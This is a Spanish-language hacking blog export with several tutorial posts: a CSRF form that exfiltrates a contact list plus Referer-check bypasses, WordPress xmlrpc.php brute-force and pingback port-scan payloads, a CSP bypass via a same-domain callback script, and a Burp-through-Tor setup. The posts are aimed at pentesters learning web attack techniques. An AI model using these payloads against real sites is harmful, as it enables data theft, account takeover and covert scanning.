<span style="font-family: courier new, courier, monospace;">Y en JSON (este ejemplo exporta una lista de contactos)</span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;"><b><i><html></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <body></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> </i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> <input type="submit" value="submit"> </form></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><b><i> </body></i></b></span><br />
<b><i><span style="font-family: courier new, courier, monospace;"></span></i></b><br />
<span style="font-family: courier new, courier, monospace;"><b><i></html></i></b></span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;">Observe como se esta utilizando el "=" en el parametro de correo electronico, gracias a la forma en que funciona Google Mail, un correo electronico enviado a myemail+2=@gmail.com ira a myemail@gmail.com.</span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;"><b><u>Proteccion CSRF a traves de Referer</u></b></span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;">He visto sitios que verifican si el Referer es su sitio y si es = a su sitio entonces permiten la solicitud. Si no es = entonces bloquean la solicitud. Un enfoque interesante para detener los ataques CSRF, como podemos evitar esto es usando la siguiente manera:</span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;">* <b>https://tusitio.com/https://www.elsitiovulnerable.com/</b></span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;">Algunos sitios solo comprueban si CONTIENE la URL de su sitio web, lo que significa que solo podemos crear una carpeta en nuestro sitio para enviar la solicitud CSRF.</span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;">* <b>Enviar un Referer en Blanco</b></span><br />
<span style="font-family: courier new, courier, monospace;">Enviar un formulario dentro de un iframe realmente le dara un Referer en blanco. A veces esto es suficiente para pasar por alto su proteccion.</span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>
<span style="font-family: courier new, courier, monospace;">Probablemente haya algunas cosas que me falten, o quizas tenga un concepto interesante para evitar el CSRF. Si es asi, no dude comunicarse conmigo y lo agregare aqui. Happy Hacking.</span><br />
<span style="font-family: courier new, courier, monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-81338368627312279892018-09-29T08:48:00.000-07:002018-09-29T08:48:55.642-07:00Wordpress xmlrpc.php: vulnerabilidades comunes y como explotarlas<span style="font-family: Courier New, Courier, monospace;"><b><u>¿De que se trata este post?</u></b></span><div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Es posible que haya visto un archivo xmlrpc.php en muchos sitios de Wordpress que visite, incluso que haya intentado buscar el error (el servidor XML-RPC solo acepta solicitudes POST) que aparece cuando visita http://sitio.com/wp/xmlrpc.php. En esta publicacion, intentare resaltar las vulnerabilidades comunes asociadas con el archivo xmlrpc.php.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><u>¿Que es XML-RPC?</u></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">XML-RPC en Wordpress es en realidad una API o "interfaz de programa de aplicacion". Ofrece a los desarrolladores que crean aplicaciones moviles, aplicaciones de escritorio y otros servicios la capacidad de comunicarse con su sitio de Wordpress. La API XML-RPC que ofrece Wordpress les brinda a los desarrolladores una manera de escribir aplicaciones (para usted) que puedan hacer muchas de las cosas que puede hacer cuando inicia sesion en WordPress a traves de la interfaz web. Estas incluyen:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* Publicar una entrada</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* Editar una publicacion</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* Eliminar una publicacion</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* Subir un nuevo archivo (por ejemplo, una imagen para una publicacion)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* Obtener una lista de comentarios</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* Editar comentarios</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><u>Vulnerabilidades comunes en XML-RPC</u></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Las principales debilidades asociadas con XML-RPC son: Ataques de fuerza bruta: los atacantes intentan iniciar sesion en WordPress utilizando xmlrpc.php.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Veamos como se hace realmente y como podria aprovechar esto mientras intenta probar un sitio de wordpress para detectar posibles vulnerabilidades.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Ataque de fuerza bruta</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">1.- Esto es lo que ve originalmente cuando intenta abrir xmlrpc.php ubicado en http://<tusitio.com>/<directoriowordpress>/xmlrpc.php</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJzxRIBoh2d2xBWL-K-0yaAmCuG4U0z7MVD724_bcT6I3qy7o-qVUigUR2hj5IWjKmKYQdVxlmlDx-4fdT531BIHioGW-PEWn3gDJrhwJi7vCR9zYTN4BFqTXg0av-PGthU2whisg6aYWy/s1600/Screenshot_284.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="466" data-original-width="1040" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJzxRIBoh2d2xBWL-K-0yaAmCuG4U0z7MVD724_bcT6I3qy7o-qVUigUR2hj5IWjKmKYQdVxlmlDx-4fdT531BIHioGW-PEWn3gDJrhwJi7vCR9zYTN4BFqTXg0av-PGthU2whisg6aYWy/s400/Screenshot_284.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">2.- Lo primero que debe hacer ahora es enviar una solicitud POST y enumerar todos los metodos disponibles, ¿por que? por que asi sabremos que acciones son posibles realizar y potencialmente usar una de ellas para un ataque. Para enumerar todos los metodos envie una solicitud POST con los siguientes datos, como se muestra en la imagen, obtendra una respuesta con todos los metodos disponibes.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><i><div>
<methodCall> </div>
<div>
<methodName> system.listMethods </methodName> </div>
<div>
<params> </params> </div>
<div>
</methodCall></div>
</i></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjghaHy83XydnwYHV7C026qg-ODMkzcg4R8LC1CwoiRl7y45BFNtkayvoG207WJ9S3FcDmiE8mrfIGp-0-ZIlpRMJBkck5pDE072tx62bvXlEZzQDHKOCZuDQMkpRb80CxpBm1UgOxZmXyH/s1600/Screenshot_285.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="516" data-original-width="1345" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjghaHy83XydnwYHV7C026qg-ODMkzcg4R8LC1CwoiRl7y45BFNtkayvoG207WJ9S3FcDmiE8mrfIGp-0-ZIlpRMJBkck5pDE072tx62bvXlEZzQDHKOCZuDQMkpRb80CxpBm1UgOxZmXyH/s400/Screenshot_285.png" width="400" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">3.- Busque lo siguiente, si encuentra que estan disponibles, entonces podemos proceder con el ataque:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* wp.getUserBlogs</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* wp.getCategories</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">* metaWeblog.getUsersBlogs</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">NOTA: hay algunos metodos mas, pero estos son los mas comunmente disponibles. Los he tratado antes, solo mencionando los que puedo recordar en este momento.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">4.- Ahora, para realizar un ataque de fuerza bruta, envie lo siguiente en la solicitud POST, si conoce algun nombre de usuario valido que seria aun mejor, recomiendo usar <i><b>wp-scan</b></i> para encontrar una lista de nombres de usuarios validos, casi siempre las compañias no intentan evitar la enumeracion de nombre de usuarios de los sitios wordpress.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><div>
<b><i><methodCall> </i></b></div>
<div>
<b><i><methodName> wp.getUsersBlogs </methodName> </i></b></div>
<div>
<b><i><params> </i></b></div>
<div>
<b><i><param><value>admin</value> </param> </i></b></div>
<div>
<b><i><param><value>pass</value> </param> </i></b></div>
<div>
<b><i></params> </i></b></div>
<div>
<b><i></methodCall></i></b></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipqaPWkFdBo6U_bR6uMQviltJhMpSTNFboueuoYySICkiJrciZAGgNJFT5hxzdjWjHYyRYYzYiY-xjMSCqdINOpRsEW2KtZ1Xx4z9_etla_q9K3QSC07MSYgqOf-IVb2T3n5Oxyjc81FHV/s1600/Screenshot_286.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="462" data-original-width="1365" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipqaPWkFdBo6U_bR6uMQviltJhMpSTNFboueuoYySICkiJrciZAGgNJFT5hxzdjWjHYyRYYzYiY-xjMSCqdINOpRsEW2KtZ1Xx4z9_etla_q9K3QSC07MSYgqOf-IVb2T3n5Oxyjc81FHV/s400/Screenshot_286.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
5.- Ahora cargamos intruder con Burp suite para realizar una ataque por fuerza bruta: <a href="https://arthusu.blogspot.com/2015/01/concepto-ataque-por-fuerza-bruta.html">https://arthusu.blogspot.com/2015/01/concepto-ataque-por-fuerza-bruta.html</a></div>
<div>
<br /></div>
<div>
Cuando obtenga un respuesta correcta tendra un 200OK o en funcion del tamaño de la respuesta, el inicio de sesion se mostrara correcto.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL87eN4zcyxEQeCsFpAMtaJRiQz0kL5zqseQh0Eb8h66e-MMBh_5zpRHV04BOVE_8aTal0nQp4num4vWTO55ee11Lnl7XFHSnt9K2algIor6Fo1qqV_tWjoS8qv1y_WgY5OFjo7j-_n8Zo/s1600/1_9c6oJHdOM3qH-yQ-ap16_Q.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="444" data-original-width="800" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL87eN4zcyxEQeCsFpAMtaJRiQz0kL5zqseQh0Eb8h66e-MMBh_5zpRHV04BOVE_8aTal0nQp4num4vWTO55ee11Lnl7XFHSnt9K2algIor6Fo1qqV_tWjoS8qv1y_WgY5OFjo7j-_n8Zo/s400/1_9c6oJHdOM3qH-yQ-ap16_Q.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><u>¿Otros Ataques?</u></b></div>
<div>
<br /></div>
<div>
<br /></div>
</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>XSPA o simplemente escaneo de puerto!</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">1.- Enumere todos los metodos y busque el siguiente:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>'pingback.ping'</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">2.- Si lograste encontrar la cadena pingback.ping entonces continuemos e intentemos obtener un ping en nuestro servidor, puede usar netcat, apache, nodejs, etc. Inicie su servidor y envie la siguiente solicitud en los datos de la publicacion:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><div>
<b><i><methodCall> </i></b></div>
<div>
<b><i><methodName> pingback.ping </methodName> </i></b></div>
<div>
<b><i><params> <param> </i></b></div>
<div>
<b><i><value> <string> http://sitioaescanear.com.mx:8080 </string> </value> </i></b></div>
<div>
<b><i></param> <param> <value> <string>http://tusitio.com/wp/?p=1 </string> </i></b></div>
<div>
<b><i></value></param> </params> </i></b></div>
<div>
<b><i></methodCall></i></b></div>
<div>
<br /></div>
<div>
Hay 2 cosas que deben llenarse aqui:</div>
<div>
1) El enlace de su servidor</div>
<div>
2) El enlace de alguna publicacion valida del sitio de wordpress que se usa para devolver la llamada al ping</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPgbZrKI54d5KujRJZoUQb-tVPWCONEnwugtfFxfJVu2n_DOTSmiXnQ_1p3FiZCJgoOT6vXOksjzOtXJCgp6g7eWERVGUzncUp_j3xmiu9zNXZpyvsDuEfQ2f2hMfC45tdIFE8UKUyN4zo/s1600/1_JaUYIZF8ZjDGGB7ocsZC-g.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="661" data-original-width="1200" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPgbZrKI54d5KujRJZoUQb-tVPWCONEnwugtfFxfJVu2n_DOTSmiXnQ_1p3FiZCJgoOT6vXOksjzOtXJCgp6g7eWERVGUzncUp_j3xmiu9zNXZpyvsDuEfQ2f2hMfC45tdIFE8UKUyN4zo/s400/1_JaUYIZF8ZjDGGB7ocsZC-g.png" width="400" /></a></div>
<div>
<br /></div>
</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">en la respuesta, si obtiene faultCode y un valor mayor que 0 (<value><int>17</int></value>), significa que el puerto esta abierto + puede verificarlo revisando los registros del servidor.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4tJejXB_ZWMUkozH10C0h1e9Kmvmg_Vm4HRzR56wdT7qw2acAcYmpdsCEhLkqPMCgvMU7dVLiqGMYdAAx90zYaktos3GrsHN7aRMabN8W2UcvvHzhq6sZjJCmTUaJFZXuB-f_ft1VqsuK/s1600/1_iu-hKPCjWliYU_0QNbw73g.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="405" data-original-width="800" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4tJejXB_ZWMUkozH10C0h1e9Kmvmg_Vm4HRzR56wdT7qw2acAcYmpdsCEhLkqPMCgvMU7dVLiqGMYdAAx90zYaktos3GrsHN7aRMabN8W2UcvvHzhq6sZjJCmTUaJFZXuB-f_ft1VqsuK/s400/1_iu-hKPCjWliYU_0QNbw73g.png" width="400" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-69503479396203737262018-09-17T21:43:00.002-07:002019-01-15T09:45:51.565-08:00Como saltar CSP (Content Security Policy)<span style="font-family: "courier new" , "courier" , monospace;"><b>Introduccion</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">La política de seguridad de contenido (CSP) es un estándar de seguridad informática introducido para evitar la secuencia de comandos (XSS), clickjacking y otros ataques de inyección de código resultantes de la ejecución de código malicioso en el contexto confiable de la pagina web.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>Detectando CSP</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7Dj4xeaw4fyvF_qsUUUKpw17pKKmrVUicpppZFS75_dgyuD9ooLjvFaSuoJoFtIIvoC4xJui-BAKAGW67CvY-rXQeQnhwUWRcUixOoRfqjfjxZOr6GdoqrdTI39AOENzBBpA6NKCBY3eg/s1600/Screenshot_253.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="350" data-original-width="736" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7Dj4xeaw4fyvF_qsUUUKpw17pKKmrVUicpppZFS75_dgyuD9ooLjvFaSuoJoFtIIvoC4xJui-BAKAGW67CvY-rXQeQnhwUWRcUixOoRfqjfjxZOr6GdoqrdTI39AOENzBBpA6NKCBY3eg/s320/Screenshot_253.png" width="320" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Primeramente vemos una URL que puede ser posiblemente atacada por XSS. Y hacemos la prueba:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLdhJppOlOTijZx89WdSrSXyCso1WhSON3B2mf_-bgWl7qJGOYKyc__y0zkOpYmKwvpCCaULaSHm5Gi_7kDNM5eyM7KPyupjZmoj5ohQ3yBDfb4ol6jvvIQWKfboxrJgRJ6yEMZ8BwtU8D/s1600/Screenshot_254.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="652" data-original-width="889" height="291" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLdhJppOlOTijZx89WdSrSXyCso1WhSON3B2mf_-bgWl7qJGOYKyc__y0zkOpYmKwvpCCaULaSHm5Gi_7kDNM5eyM7KPyupjZmoj5ohQ3yBDfb4ol6jvvIQWKfboxrJgRJ6yEMZ8BwtU8D/s400/Screenshot_254.png" width="400" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Vemos como se inyecta nuestro codigo pero no se ejecuta entonces, vamos al apartado de Network de nuestro inspeccionador de elementos y vemos lo siguiente:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjESF3r1N5jWaBo3cy6DadmX9DE0mf1XYtVZpQVOuRrrWUm6qD9tP3dn2wT3ygozS-eRhagUZJn5YNqy5c5CtQqcv6jY_hudVTcslMntQS6FxGT-s7yDeC75gddOZ1F-S0GiB4sX4Pp19rR/s1600/Screenshot_252.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="555" data-original-width="1090" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjESF3r1N5jWaBo3cy6DadmX9DE0mf1XYtVZpQVOuRrrWUm6qD9tP3dn2wT3ygozS-eRhagUZJn5YNqy5c5CtQqcv6jY_hudVTcslMntQS6FxGT-s7yDeC75gddOZ1F-S0GiB4sX4Pp19rR/s400/Screenshot_252.png" width="400" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Un mensaje de error que nos indica claramente como content security police nos esta bloqueando y que solo permite ejecutar scripts del mismo dominio.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>Atacar!</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">El siguiente paso es buscar alguna parte donde se refleje nuestro XSS ya sea un alert, prompt, confirm, etc... puede llegar a ser una imagen, un archivo js, etc...</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Primero hay que ver cuales son los dominios que permite para ello vamos hacemos una peticion y vemos la respuesta:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzkgfN-y0x7_XLIw44KJhw5eq2d-aYnJZUcyvhQBXDCM_8B7_HQnSQrx_S8lwHH55R-Q90M3vyJrCcK6NpL9pYZPzJLzgW-NiDFaEynsUTKZQ5xjUI6gmn5JqK-FMUewdd4n9YXJCdnmLf/s1600/Screenshot_255.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="253" data-original-width="1090" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzkgfN-y0x7_XLIw44KJhw5eq2d-aYnJZUcyvhQBXDCM_8B7_HQnSQrx_S8lwHH55R-Q90M3vyJrCcK6NpL9pYZPzJLzgW-NiDFaEynsUTKZQ5xjUI6gmn5JqK-FMUewdd4n9YXJCdnmLf/s400/Screenshot_255.png" width="400" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Vemos claramente como se puede solamente inyectar script que sean del mismo dominio. Ejemplo de un vector:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b><script src="http://pentesterlab.com/arthusublog.js?var=alert(1);" /></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Donde <b>alert(1)</b> se refleja en el JS.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje8G1PkYLYHf6ZmB1HiTVSmQL4wvkTSnRHA9RXSQD3fIbUVEEl3XQ-UmwkyVaSqyDTxlL6zPvLc9gaygqUqP29F-K5Xnd-gqrt_YfVAIxvoiSBidHcX7CrTI_XSRywDvjxLnmRPdaqn6cJ/s1600/Screenshot_257.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="214" data-original-width="980" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje8G1PkYLYHf6ZmB1HiTVSmQL4wvkTSnRHA9RXSQD3fIbUVEEl3XQ-UmwkyVaSqyDTxlL6zPvLc9gaygqUqP29F-K5Xnd-gqrt_YfVAIxvoiSBidHcX7CrTI_XSRywDvjxLnmRPdaqn6cJ/s400/Screenshot_257.png" width="400" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Inyectando el vector en donde se encuentra el XSS podemos realizar el bypass:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7VvECaorEmr2hLJyM0huefyqt2DpTxS8PXNQ2ohHR8gxzJLNQ8aTTG2EpFpY5d2XqbdnXFRCtvlvro3lXoBVWL5kDHHXT31D1N9UBpvqydNP4ibfCN5uFXexPKrNYLhW8XEPR4mUAQoDu/s1600/Screenshot_256.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="201" data-original-width="996" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7VvECaorEmr2hLJyM0huefyqt2DpTxS8PXNQ2ohHR8gxzJLNQ8aTTG2EpFpY5d2XqbdnXFRCtvlvro3lXoBVWL5kDHHXT31D1N9UBpvqydNP4ibfCN5uFXexPKrNYLhW8XEPR4mUAQoDu/s400/Screenshot_256.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">Dork: site:example.com inurl:callback</span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-42604950453058283692018-09-17T21:02:00.001-07:002018-09-17T21:02:48.069-07:00Usando Burp con TOR <span style="font-family: Courier New, Courier, monospace;">Buenas amigos esto es algo fácil de hacer así que espero hacerlo por pasos y si agregar unas cuantas imágenes.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">1.- descargamos TOR: <a href="https://www.torproject.org/">https://www.torproject.org/</a></span><br />
<span style="font-family: Courier New, Courier, monospace;">2.- abrimos el navegador de tor vamos a <b><i>opciones>proxy de red>Configuración</i></b>... Verificamos el HOST SOCK en mi caso esta así: <b><i>IP: 127.0.0.1 PUERTO: 9150</i></b></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3A3GDVMOMpyiG8KQj7ODUrzbkkyZD12hI9eyiIwvZWQCtC4U3EMycslLuvWtndDBUOjWS1Gjk4OpeuIcyBJsHvPVHxwuaHP1hmvPVCqbDf2dXo3x3l2g2N6R9ZanUdw3OioI7i78tpNsu/s1600/Screenshot_248.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="537" data-original-width="831" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3A3GDVMOMpyiG8KQj7ODUrzbkkyZD12hI9eyiIwvZWQCtC4U3EMycslLuvWtndDBUOjWS1Gjk4OpeuIcyBJsHvPVHxwuaHP1hmvPVCqbDf2dXo3x3l2g2N6R9ZanUdw3OioI7i78tpNsu/s320/Screenshot_248.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">3.- ahora abro mozilla firefox e ingreso lo siguiente:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE75FtX4JMO8o3vuLGt02gJ7G_HQa3K55-QQ1Ds9M_1Qsl9hcuUFjBQaIU7j99TzD06cFnoYW8c4T_sgcJ0B7V9mTwEijdqUv8PQNEiMK9i617KuD-q0IipblY5GZlq-uksDH_1r-YrOhQ/s1600/Screenshot_249.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="433" data-original-width="729" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE75FtX4JMO8o3vuLGt02gJ7G_HQa3K55-QQ1Ds9M_1Qsl9hcuUFjBQaIU7j99TzD06cFnoYW8c4T_sgcJ0B7V9mTwEijdqUv8PQNEiMK9i617KuD-q0IipblY5GZlq-uksDH_1r-YrOhQ/s400/Screenshot_249.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">4.- Me dirijo a <b>Burp>User options>SOCKS Proxy></b>Ingreso proxy:</span><br />
